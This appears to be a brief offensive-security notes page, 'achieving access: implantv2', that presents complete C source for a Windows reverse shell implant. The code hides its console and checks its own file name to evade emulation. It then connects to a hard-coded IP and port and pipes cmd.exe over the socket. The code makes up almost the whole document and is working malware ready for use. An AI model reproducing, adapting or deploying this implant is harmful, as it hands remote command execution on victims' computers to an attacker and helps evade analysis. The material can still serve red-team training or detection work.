achieving access: implantv2
Using a development workflow that allows for customizable reverse shell payloads
Improving our payload
the Code
#include <winsock2.h>
#include <stdio.h>
#include <shlwapi.h>
#pragma comment(lib,"ws2_32")
#pragma comment (lib, "shlwapi.lib")
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16] = "192.168.0.208";
char port[6] = "9001";
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
int main()
{
//name check code to validate we're not being emulated
int rv = 0;
LPSTR out = NULL;
char lpFileName[200];
GetModuleFileNameA(NULL, lpFileName, sizeof(lpFileName));
out = PathFindFileNameA((LPCSTR)lpFileName);
rv = strcmp(out, "implant.exe");
if(rv ==0){
FreeConsole();
WSAStartup(MAKEWORD(2, 2), &wsaData);
Winsock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
struct hostent *host;
host = gethostbyname(ip_addr);
strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(port));
hax.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb = sizeof(ini_processo);
ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
TCHAR cmd[255] = TEXT("cmd.exe");
CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
}
return 0;
}


Last updated
